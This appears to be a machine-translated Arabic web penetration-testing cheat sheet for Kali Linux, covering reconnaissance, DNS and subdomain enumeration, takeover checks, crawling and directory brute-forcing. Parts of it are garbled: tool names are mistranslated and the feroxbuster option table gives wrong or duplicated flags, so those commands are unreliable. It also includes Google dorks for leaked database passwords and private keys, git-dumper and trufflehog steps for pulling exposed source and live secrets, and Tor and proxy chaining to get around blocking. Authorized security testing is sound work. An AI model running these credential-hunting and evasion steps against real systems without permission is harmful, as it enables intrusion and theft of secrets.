هذا أكثر من قائمة مرجعية لنفسي. قد تحتوي على نصائح وحيل مفيدة.
تم اختبار كل شيء على Kali Linux V2023.1 (64 بت).
للمساعدة في أي من الأدوات اكتب <tool_name> [-h | -hh | --help] أو man <tool_name> .
في بعض الأحيان -h يمكن أن يكون مخطئًا لمضيف أو خيار آخر. إذا كان هذا هو الحال ، فاستخدم -hh أو --help بدلاً من ذلك ، أو اقرأ الدليل مع man .
تقوم بعض الأدوات بمهام مماثلة ، ولكن تحصل على نتائج مختلفة قليلاً. قم بتشغيل كل ما تستطيع. العديد من الأدوات تكمل بعضها البعض!
ضع في اعتبارك أنه لا يوجد بروتوكول أو رقم منفذ في عنوان URL ، أي إذا حددت فقط somesite.com ، فسيقوم بعض الأدوات بالتخلي عن بروتوكول HTTP والمنفذ 80.
إذا لم تكن بالفعل ، فاقرأ دليل اختبار أمان الويب OWASP. يمكن تنزيل قائمة المراجعة هنا.
نوصي بشدة بقراءة قضايا الأمان المشتركة في الويب الموجه مالياً.
مواقع الويب التي يجب عليك استخدامها أثناء كتابة التقرير:
ملاءات الغش الأخرى:
0. تثبيت الأدوات والإعداد
1. الاستطلاع
2. المسح/التعداد
3. التقييم الضعف/الاستغلال
4. ما بعد الاستغلال
5
6. الهندسة الاجتماعية
7
يمكن تثبيت معظم الأدوات باستخدام Linux Package Manager:
apt-get update && apt-get -y install sometoolلمزيد من المعلومات ، تفضل بزيارة kali.org/tools.
تحتاج بعض أدوات Python إلى تنزيل وتثبيت يدويًا:
python3 setup.py install
أو ، تم تثبيته من PYPI:
pip3 install sometool
python3 -m pip install sometool
تحتاج بعض أدوات Golang إلى تنزيلها وإنشائها يدويًا:
go build sometool.go
أو ، تم تثبيته مباشرة:
go install -v github.com/user/sometool@latest
لمزيد من المعلومات ، تفضل بزيارة pkg.go.dev.
لإعداد Golang ، قم بتشغيل:
apt-get -y install golang
echo " export GOROOT=/usr/lib/go " >> ~ /.zshrc
echo " export GOPATH= $HOME /go " >> ~ /.zshrc
echo " export PATH= $GOPATH /bin: $GOROOT /bin: $PATH " >> ~ /.zshrc
source ~ /.zshrc إذا كنت تستخدم وحدة التحكم الأخرى ، فقد تحتاج إلى الكتابة إلى ~/.bashrc ، إلخ.
يمكن نقل بعض الأدوات الموجودة في شكل ثنائيات أو نصوص قذيفة إلى /usr/bin/ directory لسهولة الاستخدام:
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometoolتحتاج بعض أدوات Java إلى تنزيلها وتشغيلها يدويًا مع Java (JRE):
java -jar sometool.jar
قائمة واجهات برمجة التطبيقات المفيدة للاندماج في أدواتك:
قم بتنزيل قائمة من عوامل المستخدمين الآمنين ، يتطلب Screpeops.io API مفتاح:
python3 - c 'import json, requests; open("./user_agents.txt", "w").write((" n ").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'قم بتنزيل قائمة بمحلول DNS الموثوق بها ، أو يدويًا من الحادث/المحللين:
python3 - c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'إذا كان Google أو أي محرك بحث آخر أو خدمة يحجب أداتك ، فاستخدم ProxyChains-NG و Tor لتجاوز التقييد.
تثبيت:
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher هل التغييرات التالية في /etc/proxychains4.conf :
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
تأكد من التعليق على أي نوع سلسلة غير round_robin - على سبيل المثال ، التعليق strict_chain في # strict_chain .
ابدأ تور:
service tor start
ثم ، قم بتشغيل أي أداة تريدها:
proxychains4 sometool
باستخدام TOR فقط على الأرجح لن يكون كافيًا ، ستحتاج إلى إضافة المزيد من الوكلاء (1) (2) إلى /etc/proxychains4.conf ؛ ومع ذلك ، من الصعب العثور على وكلاء مجانيين ومستقرين لم يتم إدراجهم بالفعل في القائمة السوداء.
قم بتنزيل قائمة من الوكلاء المجانيين:
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[]) (.ip) (.port)" ' > proxychains.txt
curl -s ' https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc ' -H ' Referer: https://proxylist.geonode.com/ ' | jq -r ' .data[] | "(.protocols[])://(.ip):(.port)" ' > proxies.txtضع في اعتبارك أن بعض مواقع الويب [القديمة] قد لا يمكن الوصول إليها إلا من خلال متصفحات ويب محددة مثل Internet Explorer أو Edge.
ضع في اعتبارك أن بعض مواقع الويب قد تفتقد صفحة الفهرس وقد لا تعيد توجيهك إلى الصفحة الرئيسية الحقيقية. إذا كان هذا هو الحال ، فحاول أن تخمن يدويًا مسارًا كاملًا للصفحة الرئيسية ، أو استخدم جهاز Wayback أو GAU للعثور على عناوين URL القديمة ، أو تجربة دليل مع Feroxbuster أو Dribuster.
ابحث في الإنترنت عن المسارات والملفات الافتراضية / المحددة مسبقًا لتطبيق ويب معين. استخدم المعلومات التي تم جمعها بالاقتران مع Google Dorks و Chad و HTTPX للعثور على نفس المسارات والملفات على مجالات مختلفة. لتطبيقات الويب غير الشائعة ، حاول العثور على الكود المصدر وتصفحه للمسارات والملفات الافتراضية / المحددة مسبقًا.
يمكنك العثور على رمز مصدر التطبيق على Github و GitLab و SearchCode ، إلخ.
ابحث في رمز مصدر التطبيق لمفاتيح API ، وبيانات الاعتماد ، والأسرار ، والرموز ، والمضيفين ، وما إلى ذلك ، مع Trufflehog وكاشطة الملفات. لا تنس التحقق من الالتزامات القديمة Github بمفاتيح API القديمة ولكن لا تزال نشطة ، بيانات الاعتماد ، الأسرار ، الرموز ، إلخ.
فحص وحدة التحكم على الويب عن الأخطاء المحتملة. فحص رمز مصدر التطبيق للتعليقات المحتملة.
لا تنس الوصول إلى خادم الويب عبر عنوان IP لأنك قد تجد صفحة الترحيب الافتراضية للخادم أو بعض المحتوى الآخر.
جمع المعلومات:
dmitry -wines -o dmitry_results.txt somedomain.com
تم إهماله. Netcraft Search لا يعمل.
جمع المعلومات:
theHarvester -f theharvester_results.json -b baidu,bing,bingapi,certspotter,crtsh,dnsdumpster,duckduckgo,hackertarget,otx,threatminer,urlscan,yahoo -l 500 -d somedomain.com
تقوم هذه الأداة بتغيير محركات البحث في كثير من الأحيان ، على هذا النحو ، قد لا يعمل بعضها اعتبارًا من هذه القراءة.
في بعض الأحيان ، قد يكون ملف الإخراج افتراضيًا لـ /usr/lib/python3/dist-packages/theHarvester/ directory.
استخراج أسماء المضيف من النتائج:
jq ' .hosts[] ' theharvester_results.json | sort -uf | tee -a subdomains.txtاستخراج IPS من النتائج:
jq ' .ips[] ' theharvester_results.json | sort -uf | tee -a ips.txtاستخراج رسائل البريد الإلكتروني من النتائج:
jq ' .emails[] ' theharvester_results.json | sort -uf | tee -a emails.txtاستخراج رسائل البريد الإلكتروني من النتائج:
jq ' .asns[] ' theharvester_results.json | sort -uf | tee -a asns.txtابحث عن بيانات التعريف والمعلومات المخفية في الملفات.
تم اختباره على نظام التشغيل Windows 10 Enterprise OS (64 بت).
الحد الأدنى من المتطلبات:
واجهة المستخدم الرسومية بديهية للغاية.
تثبيت:
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
قم بتعيين مفاتيح API الخاصة بك في /root/.config/uncover/provider-config.yaml uncover/provider-config.yaml على النحو التالي:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
جمع المعلومات باستخدام Shodan و Consys والمزيد:
uncover -json -o uncover_results.json -l 100 -e shodan,censys -q somedomain.com
jq -r ' .host // empty ' uncover_results.json | sort -uf | tee -a subdomains.txt
jq -r ' .ip // empty ' uncover_results.json | sort -uf | tee -a ips.txtللقيام: المزيد من شودان و dorks.
جمع النطاقات الفرعية باستخدام Osint:
assetfinder --subs-only somedomain.com | grep -v ' * ' | tee assetfinder_results.txtجمع النطاقات الفرعية باستخدام Osint:
sublist3r -o sublister_results.txt -d somedomain.com
تثبيت:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
جمع النطاقات الفرعية باستخدام Osint:
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
يحتوي Subfinder على حلول DNS مدمجة.
قم بتعيين مفاتيح API الخاصة بك في /root/.config/subfinder/config.yaml subfinder/config.yaml على النحو التالي:
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
جمع النطاقات الفرعية باستخدام Osint:
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
AMASS لديه محددات DNS مدمجة.
للعثور على ASNS من IPS و CIDRs من ASNS ، استخدم Whois. ستستغرق عمليات مسح ASN و CIDR أدناه وقتًا طويلاً. قد لا تكون النتائج كلها ضمن نطاقك الذي يسمح به العميل!
اجمع النطاقات الفرعية من ASN:
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
اجمع النطاقات الفرعية من CIDR:
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
خوادم الاسم الجلب:
dig +noall +answer -t NS somedomain.com
خوادم تبادل الجلب:
dig +noall +answer -t MX somedomain.com
استجواب خادم اسم المجال:
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
جلب ملف المنطقة من خادم اسم المجال:
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
بحث IP عكسي:
dig +noall +answer -x 192.168.8.5
[استحواذ المجال الفرعي] تحقق مما إذا كانت المجالات/النطاقات الفرعية قد ماتت ، ابحث عن رموز الحالة NXDOMAIN أو SERVFAIL أو REFUSED :
for subdomain in $( cat subdomains.txt ) ; do res= $( dig " ${subdomain} " -t A +noall +comments +timeout=3 | grep -Po ' (?<=status: )[^s]+(?<!,) ' ) ; echo " ${subdomain} | ${res} " ; done | sort -uf | tee -a subdomains_to_status.txt
grep -v ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors.txt
grep ' NOERROR ' subdomains_to_status.txt | grep -Po ' [^s]+(?= |) ' | sort -uf | tee -a subdomains_errors_none.txtانظر الأداة المضيفة للخطوة التالية.
استجواب خوادم اسم المجال:
fierce -file fierce_std_results.txt --domain somedomain.com
fierce -file fierce_brt_results.txt --subdomain-file subdomains-top1mil.txt --domain somedomain.com
بشكل افتراضي ، ستقوم Fierce بإجراء هجوم من القاموس مع قائمة الكلمات المدمجة.
استجواب خوادم اسم المجال:
dnsrecon -t std --json /root/Desktop/dnsrecon_std_results.json -d somedomain.com
dnsrecon -t axfr --json /root/Desktop/dnsrecon_axfr_results.json -d somedomain.com
dnsrecon -v --iw -f --lifetime 3 --threads 50 -t brt --json /root/Desktop/dnsrecon_brt_results.json -D subdomains-top1mil.txt -d somedomain.com
يمكن لـ DNSRecon تنفيذ هجوم قاموس مع قائمة كلمات محددة من قبل المستخدم ، ولكن تأكد من تحديد مسار كامل إلى قائمة الكلمات ؛ خلاف ذلك ، قد لا يتعرف DNSRecon.
تأكد من تحديد مسار كامل إلى ملف الإخراج ؛ خلاف ذلك ، فإنه سيؤدي إلى /usr/share/dnsrecon/ directory ، أي إلى دليل الجذر.
استخراج أسماء المضيف من نتائج النقل/نقل المنطقة القياسية/الغاشمة:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .exchange // empty, .name // empty, .target // empty ' dnsrecon_std_results.json | sort -uf | tee -a subdomains.txtاستخراج IPS من نتائج النقل/نقل المنطقة القياسية/الغاشمة:
jq -r ' .[] | select(.type | test("^A$|^CNAME$|^MX$|^NS$|^PTR$")) | .address // empty ' dnsrecon_std_results.json | sort -uf | tee -a ips.txt[استحواذ المجال الفرعي] استخراج الأسماء الكنسية من نتائج النقل/النقل/الغاشمة القياسية:
jq -r ' .[] | select(.type | test("^CNAME$")).target ' dnsrecon_std_results.json | sort -uf | tee -a cnames.txtبحث IP عكسي:
dnsrecon --json /root/Desktop/dnsrecon_reverse_results.json -s -r 192.168.8.0/24
استخراج المضيفين الظاهري من نتائج البحث عن IP العكسي:
jq -r ' .[] | if type == "array" then .[].name else empty end ' dnsrecon_ptr_results.json | sort -uf | tee -a subdomains.txtلن تستجيب بعض خوادم DNS لضربات DNS من النوع "أي" ، استخدم النوع "أ" بدلاً من ذلك.
جمع IPs للمجالات/النطاقات الفرعية المعطاة (اطلب A ):
for subdomain in $( cat subdomains.txt ) ; do res= $( host -t A " ${subdomain} " | grep -Po ' (?<=has address )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_to_ips.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_to_ips.txt | sort -uf | tee -a ips.txtتحقق مما إذا كانت المجالات/النطاقات الفرعية على قيد الحياة مع HTTPX. تحقق مما إذا كانت IPS على قيد الحياة مع NMAP القيام بمسح ping.
جمع المضيفين الظاهريين لـ IPS المعطى (اطلب سجلات PTR ):
for ip in $( cat ips.txt ) ; do res= $( host -t PTR " ${ip} " | grep -Po ' (?<=domain name pointer )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_subdomains.txt
grep -Po ' (?<=| )[^s]+ ' ips_to_subdomains.txt | sort -uf | tee -a subdomains.txt [Sublomain Takeover] جمع أسماء قانونية لنطاقات الأخطاء/النطاقات الفرعية المحددة (اطلب سجلات CNAME ):
for subdomain in $( cat subdomains_errors.txt ) ; do res= $( host -t CNAMES " ${subdomain} " | grep -Po ' (?<=is an alias for )[^s]+(?<!.) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a subdomains_errors_to_cnames.txt
grep -Po ' (?<=| )[^s]+ ' subdomains_errors_to_cnames.txt | sort -uf | tee -a subdomain_takeover.txtاجمع Asns من IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.cymru.com " ${ip} " | grep -Poi ' ^d+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_asns.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_asns.txt | sort -uf | tee -a asns.txtجمع cidrs من ASNS:
for asn in $( cat asns.txt ) ; do res= $( whois -h whois.radb.net -i origin " AS ${asn} " | grep -Poi ' (?<=route:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " AS ${asn} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a asns_to_cidrs.txt
grep -Po ' (?<=| )(?(?! |).)+ ' asns_to_cidrs.txt | sort -uf | tee -a cidrs.txt[استحواذ المجال الفرعي] جمع أسماء المؤسسات من IPS:
for ip in $( cat ips.txt ) ; do res= $( whois -h whois.arin.net " ${ip} " | grep -Po ' (?<=OrgName:)[s]+K.+ ' ) ; if [[ ! -z $res ]] ; then echo " ${ip} | ${res // $' n ' / | } " ; fi ; done | sort -uf | tee -a ips_to_organization_names.txt
grep -Po ' (?<=| )(?(?! |).)+ ' ips_to_organization_names.txt | sort -uf | tee -a organization_names.txtتحقق مما إذا كان أي IP ينتمي إلى منظمة GitHub ، اقرأ المزيد عن GitHub Takeover في مقالة H1 هذه.
تثبيت:
go install -v github.com/projectdiscovery/asnmap/cmd/asnmap@latest
احصل على مفتاح API ProjectDissovery من cloud.projectDiscovery.io وتشغيله:
asnmap -auth
جمع cidrs من ASN:
asnmap -r resolvers.txt -a asn | tee -a asnmap_cidr_results.txtجمع cidrs من معرف المنظمة:
asnmap -r resolvers.txt -org id | tee -a asnmap_cidr_results.txtتحقق مما إذا كانت المجالات/النطاقات الفرعية حية ، خريطة المضيفين المباشرون:
httpx-toolkit -o httpx_results.txt -l subdomains_errors_none.txt
httpx-toolkit -random-agent -json -o httpx_results.json -threads 100 -timeout 3 -l subdomains_errors_none.txt -ports 80,443,8008,8080,8403,8443,9008,9080,9403,9443تصفية المجالات/النطاقات الفرعية من نتائج JSON:
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long.txt
jq -r ' select(."status-code" | tostring | test("^2")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx.txt
jq -r ' select(."status-code" | tostring | test("^2|^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_2xx_4xx.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_3xx.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_401.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_403.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_4xx.txt
jq -r ' select(."status-code" | tostring | test("^5")).url ' httpx_results.json | sort -uf | tee -a subdomains_live_long_5xx.txt
grep -Po ' http://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_http.txt
grep -Po ' https://[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_long_https.txt
grep -Po ' (?<=://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short.txt
grep -Po ' (?<=http://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_http.txt
grep -Po ' (?<=https://)[^s]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live_short_https.txt
grep -Po ' (?<=://)[^s:]+ ' subdomains_live_long.txt | sort -uf | tee -a subdomains_live.txtتحقق مما إذا كان هناك دليل على خادم الويب:
httpx-toolkit -status-code -content-length -o httpx_results.txt -l subdomains_live_long.txt -path /.gitجمع عناوين URL من آلة Wayback:
getallurls somedomain.com | tee gau_results.txt
for subdomain in $( cat subdomains_live.txt ) ; do getallurls " ${subdomain} " ; done | sort -uf | tee gau_results.txtتصفية عناوين URL من النتائج:
httpx-toolkit -random-agent -json -o httpx_gau_results.json -threads 100 -timeout 3 -r resolvers.txt -l gau_results.txt
jq -r ' select(."status-code" | tostring | test("^2|^3|^4")).url ' httpx_gau_results.json | sort -uf | tee gau_2xx_results.txt
jq -r ' select(."status-code" | tostring | test("^3")).url ' httpx_gau_results.json | sort -uf | tee gau_3xx_results.txt
jq -r ' select(."status-code" | tostring | test("^401$")).url ' httpx_gau_results.json | sort -uf | tee gau_401_results.txt
jq -r ' select(."status-code" | tostring | test("^403$")).url ' httpx_gau_results.json | sort -uf | tee gau_403_results.txt
jq -r ' select(."status-code" | tostring | test("^4")).url ' httpx_gau_results.json | sort -uf | tee gau_4xx_results.txtتثبيت:
go install -v github.com/utkusen/urlhunter@latestجمع عناوين URL من خدمات تقصير URL:
urlhunter -o urlhunter_results.txt -date latest -keywords keywords.txt
قواعد بيانات Google Dork:
تحقق من قائمة ملفات /.well-known/ المعروفة هنا.
لن تعرض Google Dorking الدلائل أو الملفات غير المسموح بها في robots.txt ، للتحقق من وجود مثل هذه الدلائل والملفات ، استخدم httpx.
site:www.somedomain.com للحد من نطاقك إلى مجال/نطاق فرعي محدد. site:*.somedomain.com عن طريق موقع النطاق الخاص بك إلى جميع النطاقات الفرعية. site:*.somedomain.com -www لاستبعاد نطاق www الفرعي من النتائج.
Google Dorks بسيط:
inurl:/robots.txt intext:disallow ext:txt
inurl:/.well-known/security.txt ext:txt
inurl:/info.php intext:"php version" ext:php
intitle:"index of /" intext:"parent directory"
intitle:"index of /.git" intext:"parent directory"
inurl:/gitweb.cgi
intitle:"Dashboard [Jenkins]"
(intext:"mysql database" AND intext:db_password) ext:txt
intext:-----BEGIN PGP PRIVATE KEY BLOCK----- (ext:pem OR ext:key OR ext:txt)
ابحث عن الملفات وتنزيلها باستخدام Google Dork:
mkdir chad_downloads
chad -nsos -o chad_downloads_results.json -dir chad_downloads -tr 100 -q "ext:txt OR ext:pdf OR ext:doc OR ext:docx OR ext:xls OR ext:xlsx" -s *.somedomain.com
استخراج المؤلفين (وأكثر) من الملفات:
apt-get -y install libimage-exiftool-perl
exiftool -S chad_results | grep -Po ' (?<=Author: ).+ ' | sort -uf | tee -a people.txtالبحث عن قوائم الدليل باستخدام Google Dork:
chad -nsos chad_directory_listings_results.json -tr 100 -q 'intitle:"index of /" intext:"parent directory"' -s *.somedomain.com
المزيد عن مشروعي في إيفان-سينيك/تشاد.
قم بتنزيل أحدث إصدار من Github وتحقق من كيفية تثبيت الأداة.
احصل على معلومات رقم الهاتف:
phoneinfoga scan -n +1111111111
احصل على معلومات رقم هاتف تتفاعل مع واجهة المستخدم:
phoneinfoga serve
انتقل إلى http://localhost:5000 مع متصفح الويب المفضل لديك.
حاول إعادة بناء مستودع github ، أي احصل على الكود المصدري ، استنادًا إلى تاريخ الالتزام من دليل عام /.git
git-dumper https://somesite.com/.git git_dumper_results
قد لا تكون هذه الأداة قادرة على إعادة بناء المستودع بأكمله في كل مرة ، ولكن يمكن أن تكشف عن بعض المعلومات الحساسة.
بعض أوامر git الإضافية لمحاولة الدليل المستنسخ /.git .
git status
git log
git checkout -- .
git restore .
استخدم Google Dorking و Chad للعثور على المزيد من الأهداف.
تثبيت:
git clone https://github.com/trufflesecurity/trufflehog && cd trufflehog
go installابحث عن مفاتيح حساسة داخل مستودع واحد أو المنظمة بأكملها على Github:
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json
trufflehog github --org=trufflesecurity --only-verified --json
ابحث عن مفاتيح حساسة داخل الملفات والأدلة:
trufflehog filesystem somefile_1.txt somefile_2.txt somedir1 somedir2
المزيد عن المشروع في Sufflesecurity/Trufflehog.
للقيام: الانتهاء.
المزيد عن المشروع في إيفان-سينيك/ملفات الملفات.
تثبيت:
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
زحف موقع الويب:
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u https://somesite.com/home
katana -timeout 3 -retry 1 -c 30 -o katana_results.txt -ps -jc -iqp -d 1 -u subdomains_live_long_2xx.txt
قم بالزحف إلى موقع ويب ، وتنزيل ، وتجميل ملفات JavaScript:
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u https://somesite.com/home
scrapy-scraper -cr 30 -a random -o scrapy_scraper_results.txt -p -r 1 -dir somedir -u subdomains_live_long_2xx.txt
في حالة عدم حصولك على أي نتائج أثناء استخدام متصفح Playwright Headless ، حاول تحديثه:
pip3 install --upgrade playwright
playwright install chromium
المزيد عن مشروعي في إيفان-سينيك/scrapy-scraper.
كشط ملفات javaScript باستخدام Trufflehog ومكشطة الملفات.
لا تنسى أن نظام GNU/Linux OS لديه نظام ملفات حساس للحالة ، لذا تأكد من استخدام قوائم الكلمات الصحيحة.
إذا لم تحصل على أي نجاحات أثناء فرض الدلائل الغاشمة ، فحاول أن تحدد الملفات عن طريق تحديد ملحقات الملفات.
تدعم الأدوات أدناه الدليل المتكرر والبحث عن الملفات. أيضًا ، قد يستغرق الأمر وقتًا طويلاً للانتهاء اعتمادًا على الإعدادات المستخدمة وقائمة الكلمات.

الشكل 1 - ديبستر
توجد جميع قوائم Wordlists الخاصة بـ Dribuster على /usr/share/dirbuster/wordlists/ directory.
أدلة القوة الغاشمة على خادم الويب:
cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w directory-list-lowercase-2.3-medium.txt
هذه الأداة أسرع من Dirbuster.
تصفية الدلائل من النتائج:
jq -r ' select(.status | tostring | test("^2")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt
jq -r ' select(.status | tostring | test("^2|^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt
jq -r ' select(.status | tostring | test("^3")).url ' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt
jq -r ' select(.status | tostring | test("^401$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_401.txt
jq -r ' select(.status | tostring | test("^403$")).url ' feroxbuster_results.json | sort -uf | tee -a directories_403.txt
jq -r ' select(.status | tostring | test("^4")).url ' feroxbuster_results.json | sort -uf | tee -a directories_4xx.txt
jq -r ' select(.status | tostring | test("^5")).url ' feroxbuster_results.json | sort -uf | tee -a directories_5xx.txt| خيار | وصف |
|---|---|
| -u | عنوان URL المستهدف (مطلوب ، ما لم يتم استخدام [-stdin |-resume-from]) |
| -ستدين | قراءة عناوين URL (S) من stdin |
| -أ/-أ | يعين عامل المستخدم (الافتراضي: feroxbuster / xxx) / استخدم وكيل مستخدم عشوائي |
| -x | تمديد الملف (s) للبحث عن (على سبيل المثال: -x php -x pdf ، JS) |
| -M | يجب إرسال طريقة (طرق) طلب HTTP (الافتراضي: احصل) |
| --بيانات | جسم الطلب يمكن قراءة البيانات من ملف إذا بدأت الإدخال بـ @(على سبيل المثال: @post.bin) |
| -ه | حدد رؤوس HTTP لاستخدامها في كل طلب (على سبيل المثال: -H header: Val -H 'Stuff: Things') |
| -ب | حدد ملفات تعريف الارتباط HTTP لاستخدامها في كل طلب (على سبيل المثال: -B Stuff = Things) |
| -Q | معلمات استعلام عنوان URL الخاصة بالطلب (على سبيل المثال: -Q Token = Stuff -Q secret = Key) |
| -f | إلحاق / بعنوان URL لكل طلب |
| -S | رموز الحالة لتشمل (السماح بقائمة) (افتراضي: 200،204،301،302،307،308،401،403،405) |
| -t | عدد الثواني قبل أوقات طلب العميل (افتراضي: 7) |
| -ك | يعطل التحقق من صحة شهادة TLS للعميل |
| -t | عدد المواضيع المتزامنة (الافتراضي: 50) |
| -n | لا تفحص بشكل متكرر |
| -ب | الطريق إلى قائمة الكلمات |
| -Auto-Bail | توقف تلقائيًا عن المسح عند مواجهة كمية مفرطة من الأخطاء |
| -ب | اطلب تلقائيًا ملحقات النسخ الاحتياطي المحتملة لعناوين URL "التي تم العثور عليها" (افتراضي: ~ ، .bak ، .bak2 ، .old ، .1) |
| -Q | إخفاء أشرطة التقدم والشعيرات (جيدة لنوافذ tmux مع الإخطارات) |
| -أ | ملف الإخراج لكتابة النتائج إلى (استخدم W/ -JSON لإدخالات JSON) |
قم بتنزيل أحدث إصدار من Github. انظر كيفية تثبيت الأداة.
ابحث في خادم ويب عن الملفات الحساسة:
snallygaster --nowww somesite.com | tee snallygaster_results.txt
for subdomain in $( cat subdomains_live_short_http.txt ) ; do snallygaster --nohttps --nowww " ${subdomain} " ; done | tee snallygaster_http_results.txt
for subdomain in $( cat subdomains_live_short_https.txt ) ; do snallygaster --nohttp --nowww " ${subdomain} " ; done | tee snallygaster_https_results.txtتحميل:
git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/releaseابحث في خادم IIS للملفات والدلائل:
java -jar iis_shortname_scanner.jar 2 30 https://somesite.com
تحديد موقع الويب:
whatweb -v somesite.com
اختبر جميع إدخالات robots.txt :
parsero -sb -u somesite.com
الاستيلاء على لقطات الشاشة من مواقع الويب:
eyewitness --no-prompt --no-dns --timeout 3 --threads 5 -d eyewitness_results -f subdomains_live_long.txt
للتحقق من لقطات الشاشة ، انتقل إلى دليل eyewitness_results/screens .
يمكنك العثور على rockyou.txt Inside /usr/share/wordlists/ directory أو Inside Semlists - مجموعة مفيدة من أنواع متعددة من قوائم الكلمات لتقييمات الأمان.
قم بتثبيت Semlists (سيتم تخزين المجموعة على /usr/share/seclists/ directory):
apt-get update && apt-get install seclistsمساهمتي في القتلى: دانييلميجلر/سائلات/شجرة/ماجستير/زورق/كميات
مجموعات Wordlist شائعة أخرى:
ضع في اعتبارك أنه يمكن استضافة تطبيقات أو خدمات الويب على منافذ أخرى إلى جانب 80 (HTTP) و 443 (HTTPS) ، على سبيل المثال ، يمكن استضافتها على المنفذ 8443 (HTTPS).
ضع في اعتبارك أنه في المنافذ 80 (HTTP) و 443 (HTTPS) يمكن لخادم الويب أن يستضيف تطبيقات أو خدمات ويب مختلفة. استخدم NCAT أو Telnet للاستيلاء على لافتة.
ضع في اعتبارك أنه على مسارات URL المختلفة ، يمكن لخادم الويب أن يستضيف تطبيقات أو خدمات ويب مختلفة ، على سبيل المثال ، somesite.com/app_one/ و somesite.com/app_two/ .
أثناء المسح الضوئي للضغوط أو إجراء عمليات مسح مكثفة أخرى ، تحقق بشكل دوري من تطبيق الويب أو الخدمة إذا تعطلت ، بحيث يمكنك تنبيه عميلك في أقرب وقت ممكن ؛ أو في حال كنت تقتصر على سعر الفائدة بواسطة جدار الحماية على تطبيق الويب (WAF) أو بعض منتجات الأمان الأخرى ، بحيث يمكنك إيقاف عمليات المسح الخاصة بك لأن جميع طلباتك اللاحقة سيتم حظرها ولن تكتمل نتائجك.
إذا توقف تطبيق ويب أو خدمة فجأة عن الاستجابة ، فحاول الوصول إلى تطبيق الويب أو الخدمة باستخدام بيانات الهاتف المحمول الخاصة بك ، أي باستخدام عنوان IP مختلف. من الممكن حظر IP الحالي الخاص بك مؤقتًا.
إرسال رسالة بريد إلكتروني إلى عنوان غير موجود في مجال Target ، فإنه سيكشف غالبًا عن معلومات شبكة داخلية مفيدة من خلال إشعار غير (NDN).
